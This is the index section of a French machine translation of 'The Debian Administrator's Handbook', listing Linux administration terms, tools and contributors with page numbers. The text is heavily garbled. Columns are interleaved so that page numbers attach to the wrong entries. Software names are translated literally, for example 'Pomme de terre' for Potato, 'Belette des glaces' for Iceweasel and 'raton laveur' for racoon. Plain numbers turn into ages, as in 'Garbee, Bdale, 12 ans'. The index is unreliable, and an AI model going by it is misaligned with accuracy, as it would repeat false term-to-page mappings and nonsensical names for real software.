Expérimental, 22, 105, 112 automatique (FAI), 337
Explication, 113 FusionForge, 18, 368 fwbuilder, 381
exploration d'une machine Debian, 43
g
exportations, 278
GAIM, 366
Garbee, Bdale, 12 ans
Fichier F Garrett, Matthieu, 218

456 Le manuel de l'administrateur Debian

Machine Translated by Google

passerelle, 222 logiciel de groupe, 366

gconf, 359 VERBE, 69 , 164

gconftool­2, 359 VERBE 1 165

gdm, 195 , 355 GRUB Legacy, 165,

Gecko, 364 , 165
installation de grub, 164
GÉCOS, 154 VERBE 2, 164
Licence publique générale, 7 GTK+, 358

résolution générale, 12 Guesnet, 152 gui­

getent, 157 apt­key, 121 gzip, 102

getty, 188
gid, 154
H
git, 20
H323, 367
Clairière, 365
Hamm, 9
GNOME, 358
disque dur, noms, 162 lien
GNOME, 358
dur, 210 débat
GNOME Office, 368
houleux, 13
gnome­system­monitor, 384 gnome­
HELO, 259
system­tools, 199
Hess, Joey, 424
GnomeRéunion, 367
hg, 20
GNU, 2
hibernation, 218
Licence Publique Générale, 7
Hocevar, Sam, 12
Info, 134
hôtes, 241
n'est pas Unix, 2
nom d'hôte, 152
GNU/Linux, 33
hôtes, 152 , 153
gnugk, 367
hotplug, 213
Gnumérique, 368
HOWTO, 136
GPL, 7
htpasswd, 272
GPS, 170
HTTP
postes de travail graphiques,
sécurisé, 269
358 à distance, 194
serveur, 268
GRE, protocole, 231
Proxy HTTP/FTP, 286
liste grise, 262 HTTPS, 269
groupe, 155 , 157
ajouter un utilisateur, je

158 modification, i18n, 15

157 création, ia64, 45
157 base de Ian Murdock, 2 ans
données, 154 Colombe de glace, 364

suppression, 157 Belette des glaces, 364

de volumes, Icewm, 356

65 propriétaire, Glace, 343
195 ajout de CIMP, 378
groupe, 157 groupdel, 157 groupmod, 157 ICQ, 366

Indice 457
Machine Translated by Google

id, 157 CIB, 448

IDE, 442 IPP, 160,
IDS, 387 iproute, 236
IEEE 1394, 442 IPsec, 230
IEEE1394, 213 Échange de clés IPsec, 231
IKE, 231 iptables, 376, 379
in­[Link], 241 iputils­ping, 238
Comprend, directive Apache, 271 iputils­tracepath, 238

incompatibilités, 81 Index, IPv6, 238

directive Apache, 271 inetd, 203 info, 134 Pare­feu IPv6, 240

info2www, IRC, 366

135 init, ISC, 241

150, 185, 447 script ISO­8859­1, 144

d'initialisation, 187 ISO­8859­15, 144

FAI, fournisseur d'accès Internet, 253
inode, 209 installation installation
automatique, Itanium, 45

336 installation
J.
netboot, 52 d'un noyau, 179 de
Jabber, 366
paquets, 92, 107 du système,
clients, 367
50 installation PXE,
Jackson, Ian, 12 ans
52 installation TFTP, 52
installateur, 50 K
Communications inter­
KDE, 358
processus, 448 interface
KDevelop, 366
d'administration
kdm, 195, 355
d'interface, 198 graphique, 354 réseau, 148
noyau, voir compilation
du noyau, 173
internationalisation, 15 Internet Control
configuration, 175
Message Protocol, modules externes, 177
378 Internet installation, 179
Printing Protocol, 160 Internet patch, 178
Relay Chat, 366 Internet Software Consortium, 241 sources, 174
détection d'intrusion, 387 système de espace noyau, 447
détection d'intrusion, 387 kernel­[Link], 179 kernel­
invoquer­rc.d, 188 IP package, 174 key

Compose, 146 Meta,

146 paire de
touches, 225, 231, 293, 425
adresse, 148 disposition
Adresse IP, 148 du clavier, 56, 145
privées, 223 disposition du clavier, 56, 145
ip6tables, 240, 376, 379 configuration du clavier, 145

458 Le manuel de l'administrateur Debian

Machine Translated by Google

kFreeBSD, 34 lien
KMail, 362 lien dur, 210
Knoppix, 434 symbolique, 167
KBureau, 368 lintien, 423
Kolab, 366 Linux,
Konquérant, 364 distribution 33 , noyau
Kopete, 367 XVII , XVII
krdc, 194 Rôle de distribution
krfb, 194 Linux, 21
Kubuntu, 434 Projet de documentation Linux, 136
KVM, 320 , 332 Sources du noyau Linux, 174
kWM, 356 Chargeur Linux, 163
Linux Mint, 435
L
linux32, 53
l10n, 15
lires, 138
LANG, 145
listmaster, 19
langue, 144
listes
Latin 0, 144
listes de diffusion, 19
Latin 1, 144
Livebox, 151
Latin 9, 144
LiveCD, 434
lavaps, 384
ln, 167
LDAP, 287
chargeur
sécurisé, 292
de démarrage, , 69 , 160
LDIF, 288
53 locale,
LDP, 136
élections 145 locale­gen,
144 locales,
à la tête, 12
144 localisation,
rôles, 12
15 localiser,
Lenny,
niveau 9 , niveau 173 emplacement de la documentation,
11 lockd,
d'exécution, 186 libapache­mod­
security, 401 libnss­ 277

ldap, 290 libpam­ transfert de journaux, 202

382
vérification de journal, 138 ,
ldap, 292 bibliothèque (de fonctions), 449
Libre Office, 368 Logical Volume Manager lors de

libvirt, 332 l'installation, 65 connexions,

licence 154
artistique, 7 connexions à distance,
BSD, 7 189 rotations de
GPL, 7
cycles de vie, journaux, 170
22 lighttpd, 268 affichages de journaux,
LILO, 163 383
limitation, de trafic, 236 distributions, 200 fichiers, 138 fichiers, rotation, 170

Indice 459
Machine Translated by Google

surveillance, 382 masque de droits,

web, analyseur, 273 197 masque de
lpd, 160 sous­réseau, 148
lpq, 160 masquage, 223 Master Boot
lpr, 160 Record, 161 plan
lsdev, 444 directeur, 32 Matthew
lspci, 444 Garrett,
lspcmcia, 444 218 MBR, 161
lsusb, 444 McIntyre, Steve, 12 MCS (sécurité
LUKS, 66
luma, 290 multicatégorie),
LVM, 309 390 MD5, 385
lors de l'installation, 65 md5sums, 87 mdadm, 301
LXC, 326
lzma, 102 [Link],
105 menu, 357
M.
menu­méthodes,
357 [Link], 166
courrier électronique, 252
mercurial,
MAIL FROM, 260
20 méritocratie,
boîtes aux lettres, domaine virtuel,
13 messagerie
256 listes de , 139
instantanée, 366
diffusion, 19 principales,
section, 103 mainteneurs Messenger, 366 Meta,
clé, 146 méta­ , 81
nouveau mainteneur,
13 maintenance distribution, 2
méta­paquet, 80 métacité,
maintenance du paquet, 11
356
make­kpkg, 176
clean, 176 Michlmayr,

kernel­doc, 176 Martin, 12 Microsoft Excel, 369

kernel­headers , 176 Chiffrement

kernel­image, 176 point à point, , 41

kernel­source, 176 232 Word, 369
modules­image, 177 migration, 32 outils
Makefile, 418 de
man, 132 migration,
man2html, 134 289 mini­dinstall,
gestion, gestion de l'alimentation, 218 420

directeur mkfs, 445

affichage, 355 mknod, 158 mod­
gestionnaire d'affichage, security, 401 bloc de mode, 158 caractères, 158 modem
195 fenêtres, ADSL, 150
356 pages de manuel, PSTN,
132 masques modification 149 , droite, 196

460 Le manuel de l'administrateur Debian

Machine Translated by Google

modlogan, 138 netstat, 246

modprobe, 185 traduction
module­assistant, 178 d'adresses réseau, 223
module­init­tools, 185 système de fichiers,
modules 276 IDS,
externes au noyau, 177 modules 387 protocole temporel,
du noyau, 185 mondo, 169
212 adresse réseau,
surveillance, 382 148 configuration, 148
activité, 383 configuration DHCP, 244
fichiers passerelle, 222
journaux, 382 configuration d'itinérance, 151
171
montage, 171 point ,de montage, 64 privé virtuel, 224 sans
Mozilla, 365 fil, 219
Firefox, 364 , 365 gestionnaire de réseau, 151
Oiseau­tonnerre, 363 réseau ­manager­openvpn­gnome, 230 Neufbox,
MPPE, 232 151 newgrp,
séances, 384 157
MultiVues, directive Apache, 272 [Link], 11 , 135
Munin, 343. NFS, 276
Murdock, Ian, 2 ans , 12 client, 279
MX options, 278
Enregistrement DNS, sécurité, 276
240 serveur, 253 nfs­common, 277 nfs­
kernel­server, 277 nfs­user­
N
server , 278 nginx, 268
Nagios, 345 NIDS, 387
nom
nmap, 41
attribution et résolution, 152 nom de nmbd, 280 , 247
code, 9 non libre, 6
domaine, 152 non libre,
résolution, 153 section, 103 NS,
Name Service Switch, 156 tube enregistrement DNS,
nommé, 202 241 NSS, , 156
nommé.conf, 241 152 domaine NT,
des noms
280 NTP,
de disques durs, 162 169 serveur,
serveurs de noms, 153 169 ntp,
NAT, 223 169 ntpdate,
Traversée NAT, 231 169 nVidia, 355
NAT­T, 231
filtre réseau, 376 Ô

Nétiquette, 139. représentation octale des droits, 197 suite

Netscape, 365 bureautique, 368

Indice 461
Machine Translated by Google

Open Source, 9 sceau,

OpenLDAP, 287 119
[Link], 368 recherche, 114
OpenSSH, 190 source de, 102 paquet , 88
Clés de source,
création OpenSSL, statut XIX ,
293 accélération matérielle, 94 types, 417
190 openswan, déballage, 93 paquet , 82
230 OpenVPN, virtuel, 81 archive de
224 opérations, interne, paquet, 420 méta­informations de
9 option paquet, 78 système de suivi de
POSIX, 94 paquet, 19 types de
Options, directive Apache, 271 paquet, 417
Commande, directive Apache, [Link], 102
273 organisation, interne, 9
OSPF, 238 recherche , 376
ospf6d, 238 de paquets, 129
ospfd, 238 paquets
propriétaire
IP, 222
groupe, 195
filtres de paquets,
utilisateur, 195
376 PAE,

P.
53 PAM, 145

signature
pam_env.so, 145
du paquet, 119
PAP, 150
contrôle
Parallel ATA,
d'authenticité du paquet,
119 paquet binaire, , 76 442 partitions
conflit XIX , cryptées, 66

81 inspection du contenu, 94 étendues, 162 primaires,

Debian 162 secondaires,
archives de, 420 162 partitions d'échange,
Paquet Debian, 64 cryptages de partitions, 66 partitionnement, 59 partitionneme
dépendance XIX , mot de passe, , 156
79 liste de 154 mot de
fichiers, 94 passe, 156
incompatibilité, , 107 patch, 15 patch
81 installation, 92 kernel, 178 pbuilder, 414
maintenance, 11 méta­ PCMCIA, 213 , 219
informations, 78 pcmciautils, 219
popularité, Perens, Bruce, 9 ans, 12

361 Perl, 83
priorité, 111 , 107 autorisations, 195
purge, 94 suppression, 94 remplacement, 84 Philosophie et procédures, 426

462 Le manuel de l'administrateur Debian

Machine Translated by Google

PHPGroupware, 366 prélude, 387

Poste d'adresse physique, 53 prerm, 84
PICS, 287 pré­amorçage,
pid, 446 338 printcap,
Épingle, 113 160
Priorité broche, 113 configuration
ping, canal d'impression,
378 , canal 160 réseau, 285 privé,
448 , canal nommé, 202 adresse
Pixar, 9 IP, 223 proc,
PKI (Public Key Infrastructure), 225 pmud, 152 processus,
219 poff, 184 processeur,
150 point 3 procmail, 254 profils, itinérance, 283
à point, 149 points, Progeny,

montage, 171
Protocole de tunneling point à point, politique configuration de 2

231 , 11 programmes, protocole 137

AH, 231
pon,
ESP, 231
popularité des packages 150 ,
GRE, 231
concours de popularité 361 ,
Fournit, champ d'en­tête, 81
port 361
TCP, 222 proxy, 68
cache proxy, 68 , 286
UDP, 222
pseudo­paquet, 18
transferts de ports, 192 , 223
PTR, enregistrement DNS, 240
portsmapper, 277
PTS, 19
POSIIX, 94
Infrastructure à clé publique, 225
Postfix, 252
purge d'un package, 86 , 94
postinst, 84
postrm, 84
Q
Pomme de
QEMU, 320
terre, 9 gestion de l'alimentation, 218
QoS, 235
PowerBook, 219
Qt, 358
PPP, 149 , 230
Concepteur,
pppconfig, 150
366 quagga,
PPPOE, 150
237
pppoeconf, 150 assurance
PPTP, 151 , 231 qualité, 19 de
pptp­linux, 231 pré­ service, 235 qualité de
dépendance, 80 208 157
service, 235 ,quota,
Pre­Depends, champ d'en­tête, 80
préconfiguration, 338 R.

préférences, 111 raton laveur,

préinstallation, 84 230 radvd, 239

Indice 463
Machine Translated by Google

RAID, 298 ripd, 238

RBL, 259 ripngd, 238
RCPT TO, 260 connecteur RJ45, 147
rcS, 184 RJ45, connecteur, 147
rcS.d, 184 RMS, 2
RDP, 370 profils itinérants, 283
lecture, droite, 196 Robinson, Branden, 12
[Link], 11 , 135 racine, 170
tampon de réception, racine­queue,

378 recommandé, champ d'en­tête, 383 rotation des fichiers

80 enregistrement journaux,

DNS, 241 170 route, , 222

récupération d'une machine Debian, 43 237

routeur, 148
Red Hat Package Manager, 98
réinstallation, 108 routage avancé,

release, 22 236
dynamique, 237
Release Manager, 25
Remote Black List, 259 RPC, 276
[Link],
Remote Desktop Protocol, 370 bureau
277 [Link], 277 RPM,
graphique distant, 194 connexion à
98 RSA
distance, 189 Remote
(algorithme),
Procedure Call, 276 Remote Shell,
225 RSH, 189
189 suppression d'un
rsync, 210
paquet, 107 suppression d'un
rsyslogd, 200 RTFM, 132 niveau d'exécution, 186
paquet, 94 remplacement, 84
Remplace, champ S
d'en­tête, 84 signaler un bug,
mise à niveau sécurisée, 72
15 signaler un bug, , 139 Samba, 40 ans , 279
15 Demande de Sergent, 9 ans
commentaires, 79 redimensionner SATA, 213
une partition, 64 résolution, commandes planifiées, 204 scp,
354 nom, 153 190
[Link] , SCSI, 442
153 services de recherche de paquets, 114
redémarrage, 188 restauration, section
210 zone inversée, contrib, 103
241 Rex, 9 RFC, 79 principale,
droits, 103 non libre, ,6103
195 Secured Shell, 189
masque, 197 contexte de sécurité, 390
droits, SELinux, 388
représentation octale, 197 RIP, 238 semanage, 391
semodule, 391

464 Le manuel de l'administrateur Debian

Machine Translated by Google

Série ATA, 442 smbmount, 284

serveur smbpasswd, 281
architecture client/serveur, 189 fichier, SMTP, 252
276, 279 [Link], 106 SNAT,
HTTP, 268 223 SNMP,
MX, 253 384 snort,
nom, 240 387 contrat
NTP, 169 social, 5 Logiciel
SMTP, 252 d'intérêt public, 4 Logiciel RAID, 65
Internet, 268 suspension logicielle,
X, 354 218 source (paquet), 88 code
Indication du nom du serveur, service source, 3 Source NAT, 223
270 source de paquets,

qualité, 235 102 paquet source,

redémarrage, XIX SourceForge, 368
188 setarch, [Link], 102 [Link],
53 setgid, droite, 196 102 spam, 257
setkey, 231 spamass­milter, 265
setquota, 209 spammeur, 257

setuid, droite, 196 spécial,

Configuration, fichier, 158 SPI, 4
gravité 443 , sponsoring , 426
14 sftp, injection SQL, 401
190 sg, 157
SHA1, 385 Squeeze, 9 Squid,
ombre, 155 68, 286 squidGuard,
shell, 132, 158 287 SSH,
réduire une partition, 64 189, 230 tunnel
Sid, 9 SSH VNC, 194 SSL,
Sidux, 435 225 Stable, 22

signature Stable Release

d'un colis, 119 Manager,

Protocole de transfert de courrier simple, 252 25 mises

Protocole de gestion de réseau simple, 384 simple­cdd, à jour

341 stables, 104 Stallman, Richard, 2
SimplementMEPIS, 435 procédures standard ,
SkoleLinux, 17 137 veille, 218 StarOffice,
slapd, 288 368 sticky bit, 196 strongswan,
Slink, 9 230 sous­réseau,
PME, 279 148
PME client, 284
PME, 280
PME, 284

Indice 465
Machine Translated by Google

sous­projet, 3, 17 le secrétaire du projet, 12

subversion, 20 Thunderbird, Mozilla, 363 tilde, 159
sudo, 170
sudoers, 170 synchronisation horaire, 169 fuseau
suexec, 268 horaire, 167, 168

Suggestions, champ d'en­tête, 80 TLS, 225

suite, bureau, 368 haut, 383
super­serveur, 203 TdS, 237

suspension, 218 Coût total de possession, 34

svn, 20 Villes, Anthony, 12 ans
swap, 64 Toy Story, 9
partition de swap, 64 limitations

SWAT, 280 de trafic, 236

lien symbolique, 167 contrôle de trafic, 236

SymlinksIfOwnerMatch, directive Apache, 271 synaptique, 115 clés de confiance, 120

sys, 152 sysklogd, tsclient, 194

200 tshark, 249

syslogd, 138 base tunnel SSH, voir VPN

système, 67 Application des types, 400

Type de service, 237
TZ, 168

Système de suivi des bogues, 14 tzconfig, 168

systèmes de
U
fichiers, 62 systèmes de suivi des
Ubuntu, 433 ucf,
paquets, 19 systèmes, systèmes de fichiers, 445
200 UDP,
T port, 222 uid, 154
tag, 129 umask,
prise en charge d'un serveur Debian, 43 197 Unicode,
bande, sauvegarde, 213 145 Unstable, 22
TAR, 213 alternatives de
Tâches et compétences, mise à jour, 356 menus de mise
427 TC, 236 à jour, 357 update­rc.d,
Coût total de possession, 34 188 update­squidguard,
TCP, port, 222 287 mise à jour, 173 mise à
tcpd, 204 niveau automatique
tcpdump, 248 (du
comité technique, 12 telnet, 189 système), 125 du système, 109 en amont,
telnet­ssl, 189 6 auteur en amont, 6
telnetd­ssl, 189 USB, 213, 442
clé USB, 51 uscan, 423
Tests, 22
filaires, 249
La trousse à outils du coroner, 407

466 Le manuel de l'administrateur Debian

Machine Translated by Google

utilisateur
analyseur de journaux
base de données, Web, 273 web,
154 propriétaire, serveur, 268
195 espace utilisateur, 447 webalizer, 138
UTF­8, 145 WebKit, 364
webmin, 198
V
whatis, 133
Venema, Wietse, version Wheezy, 9 Wietse
204 , comparaison, 97 Venema,
VESA, 355 204 wifi, 219
carte vidéo, 355 [Link],
vidéoconférence, 367 136 Winbind, 280
vinagre, 194 gestionnaire de
vino, 194 fenêtres, 356
virsh, 335 WindowMaker, 356 Windows partage,
virt­install, 332 , 333 279 Windows Terminal Server,
virtinst, 332 370
domaine virtuel, 255 Windows,
hôte virtuel, 269 émulation,
mémoire virtuelle, 64 369 Wine, 369 winesetup,
Informatique en réseau virtuel, 194 370 WINS, 281 réseau
packages virtuels, 81 sans fil, 219 outils
réseaux privés virtuels, 224 sans fil, 219 wireshark,
gestionnaire virtuel, 332 248
VirtualBox, 320 Wondershaper, 236
virtualisation, 320 Woody, 9 Word, Microsoft, 369
visudo, 170 distribution
vmlinuz, 179 mondiale, 10 écrire, à
VMware, 320 droite, 196 www­navigateur, 356 www­data, 268
VNC, 194
vnc4server, 195 X
volumes x­window­manager, 356 x­
groupe, 65 www­browser, 356 X.509,
volumes logiques, 65 certificat, 225 [Link], 354
volumes physiques, 65 X11, 354
votes, 12 x11vnc,
VPN, 224 194 xdelta,
vsftpd, 276 213 xdm,
195 Xen, , 355
W 320 Xfce,
warnquota, 209 360
restriction d'accès au Web, 273 XFree86, 354
authentification Web, 272 XMPP, 366
Navigateur Internet, 364 xserver­xorg, 354

Indice 467
Machine Translated by Google

xvnc4viewer, 194
xz, 102

Oui

yaboot, 166
ybin, 166

Z
Zabbix, 343
Zacchiroli, Stefano, 12
zèbre, 237
zone
DNS, 240
inversé, 241
zoneinfo, 168
zsh, 158

468 Le manuel de l'administrateur Debian

Machine Translated by Google